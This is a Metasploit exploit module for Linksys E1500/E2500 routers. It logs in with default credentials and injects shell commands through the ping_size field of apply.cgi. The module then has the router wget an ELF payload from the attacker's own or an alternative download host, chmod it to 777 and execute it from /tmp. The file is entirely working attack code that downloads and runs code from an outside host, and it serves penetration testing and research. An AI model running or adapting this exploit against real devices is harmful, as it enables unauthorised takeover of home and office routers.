##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::Remote::HttpServer
  include Msf::Exploit::EXE
  include Msf::Exploit::FileDropper

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Linksys E1500/E2500 apply.cgi Remote Command Injection',
        'Description' => %q{
          Some Linksys Routers are vulnerable to an authenticated OS command injection.
          Default credentials for the web interface are admin/admin or admin/password. Since
          it is a blind os command injection vulnerability, there is no output for the
          executed command when using the cmd generic payload. A ping command against a
          controlled system could be used for testing purposes.
        },
        'Author' => [
          'Michael Messner <devnull[at]s3cur1ty.de>', # Vulnerability discovery and Metasploit module
          'juan vazquez' # minor help with msf module
        ],
        'License' => MSF_LICENSE,
        'References' => [
          [ 'CVE', '2018-3953' ],
          [ 'BID', '57760' ],
          [ 'EDB', '24475' ],
          [ 'OSVDB', '89912' ],
          [ 'URL', 'http://www.s3cur1ty.de/m1adv2013-004' ]
        ],
        'DisclosureDate' => '2013-02-05',
        'Privileged' => true,
        'Payload' => {
          'DisableNops' => true
        },
        'Targets' => [
          [
            'CMD',
            {
              'Arch' => ARCH_CMD,
              'Platform' => 'unix'
            }
          ],
          [
            'Linux mipsel Payload',
            {
              'Arch' => ARCH_MIPSLE,
              'Platform' => 'linux'
            }
          ],
        ],
        'DefaultTarget' => 1,
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )

    register_options(
      [
        OptString.new('HttpUsername', [ true, 'The username to authenticate as', 'admin' ]),
        OptString.new('HttpPassword', [ true, 'The password for the specified username', 'admin' ]),
        OptAddress.new('DOWNHOST', [ false, 'An alternative host to request the MIPS payload from' ]),
        OptString.new('DOWNFILE', [ false, 'Filename to download, (default: random)' ]),
        OptInt.new('HTTP_DELAY', [true, 'Time that the HTTP Server will wait for the ELF payload request', 60])
      ]
    )
  end

  def request(cmd, user, pass, uri)
    res = send_request_cgi({
      'uri' => uri,
      'method' => 'POST',
      'authorization' => basic_auth(user, pass),
      'vars_post' => {
        'submit_button' => 'Diagnostics',
        'change_action' => 'gozila_cgi',
        'submit_type' => 'start_ping',
        'action' => '',
        'commit' => '0',
        'ping_ip' => '1.1.1.1',
        'ping_size' => "&#{cmd}&",
        'ping_times' => '5',
        'traceroute_ip' => ''
      }
    })
    return res
  rescue ::Rex::ConnectionError
    vprint_error("#{Rex::Socket.to_authority(rhost, rport)} - Failed to connect to the web server")
    return nil
  end

  def exploit
    downfile = datastore['DOWNFILE'] || rand_text_alpha(rand(8..15))
    uri = '/apply.cgi'
    user = datastore['HttpUsername']
    pass = datastore['HttpPassword']
    rhost = datastore['RHOST']
    rport = datastore['RPORT']

    #
    # testing Login
    #
    print_status("#{Rex::Socket.to_authority(rhost, rport)} - Trying to login with #{user} / #{pass}")
    begin
      res = send_request_cgi({
        'uri' => uri,
        'method' => 'GET',
        'authorization' => basic_auth(user, pass)
      })
      if res.nil? or res.code == 404
        fail_with(Failure::NoAccess, "#{rhost}:#{rport} - No successful login possible with #{user}/#{pass}")
      end
      if [200, 301, 302].include?(res.code)
        print_good("#{Rex::Socket.to_authority(rhost, rport)} - Successful login #{user}/#{pass}")
      else
        fail_with(Failure::NoAccess, "#{rhost}:#{rport} - No successful login possible with #{user}/#{pass}")
      end
    rescue ::Rex::ConnectionError
      fail_with(Failure::Unreachable, "#{rhost}:#{rport} - Failed to connect to the web server")
    end

    if target.name =~ /CMD/
      if !(datastore['CMD'])
        fail_with(Failure::BadConfig, "#{rhost}:#{rport} - Only the cmd/generic payload is compatible")
      end
      cmd = payload.encoded
      res = request(cmd, user, pass, uri)
      if (!res)
        fail_with(Failure::Unknown, "#{rhost}:#{rport} - Unable to execute payload")
      else
        print_status("#{Rex::Socket.to_authority(rhost, rport)} - Blind Exploitation - unknown Exploitation state")
      end
      return
    end

    # thx to Juan for his awesome work on the mipsel elf support
    @pl = generate_payload_exe
    @elf_sent = false

    #
    # start our server
    #
    resource_uri = '/' + downfile

    if (datastore['DOWNHOST'])
      service_url = 'http://' + datastore['DOWNHOST'] + ':' + datastore['SRVPORT'].to_s + resource_uri
    else
      service_url = 'http://' + srvhost_addr + ':' + srvport.to_s + resource_uri
      print_status("#{Rex::Socket.to_authority(rhost, rport)} - Starting up our web service on http://#{Rex::Socket.to_authority(bindhost, bindport)}/#{resource_uri}...")
      start_service({
        'Uri' => {
          'Proc' => proc do |cli, req|
            on_request_uri(cli, req)
          end,
          'Path' => resource_uri
        },
        'ssl' => false # do not use SSL
      })

    end

    #
    # download payload
    #
    print_status("#{Rex::Socket.to_authority(rhost, rport)} - Asking the Linksys device to download #{service_url}")
    # this filename is used to store the payload on the device
    filename = rand_text_alpha_lower(8)

    # not working if we send all command together -> lets take three requests
    cmd = "/usr/bin/wget #{service_url} -O /tmp/#{filename}"
    res = request(cmd, user, pass, uri)
    if (!res)
      fail_with(Failure::Unknown, "#{rhost}:#{rport} - Unable to deploy payload")
    end

    # wait for payload download
    if (datastore['DOWNHOST'])
      print_status("#{Rex::Socket.to_authority(rhost, rport)} - Giving #{datastore['HTTP_DELAY']} seconds to the Linksys device to download the payload")
      select(nil, nil, nil, datastore['HTTP_DELAY'])
    else
      wait_linux_payload
    end
    register_file_for_cleanup("/tmp/#{filename}")

    #
    # chmod
    #
    cmd = "chmod 777 /tmp/#{filename}"
    print_status("#{Rex::Socket.to_authority(rhost, rport)} - Asking the Linksys device to chmod #{downfile}")
    res = request(cmd, user, pass, uri)
    if (!res)
      fail_with(Failure::Unknown, "#{rhost}:#{rport} - Unable to deploy payload")
    end

    #
    # execute
    #
    cmd = "/tmp/#{filename}"
    print_status("#{Rex::Socket.to_authority(rhost, rport)} - Asking the Linksys device to execute #{downfile}")
    res = request(cmd, user, pass, uri)
    if (!res)
      fail_with(Failure::Unknown, "#{rhost}:#{rport} - Unable to deploy payload")
    end
  end

  # Handle incoming requests from the server
  def on_request_uri(cli, _request)
    # print_status("on_request_uri called: #{request.inspect}")
    if (!@pl)
      print_error("#{Rex::Socket.to_authority(rhost, rport)} - A request came in, but the payload wasn't ready yet!")
      return
    end
    print_status("#{Rex::Socket.to_authority(rhost, rport)} - Sending the payload to the server...")
    @elf_sent = true
    send_response(cli, @pl)
  end

  # wait for the data to be sent
  def wait_linux_payload
    print_status("#{Rex::Socket.to_authority(rhost, rport)} - Waiting for the victim to request the ELF payload...")

    waited = 0
    until (@elf_sent)
      select(nil, nil, nil, 1)
      waited += 1
      if (waited > datastore['HTTP_DELAY'])
        fail_with(Failure::Unknown, "#{rhost}:#{rport} - Target didn't request request the ELF payload -- Maybe it cant connect back to us?")
      end
    end
  end
end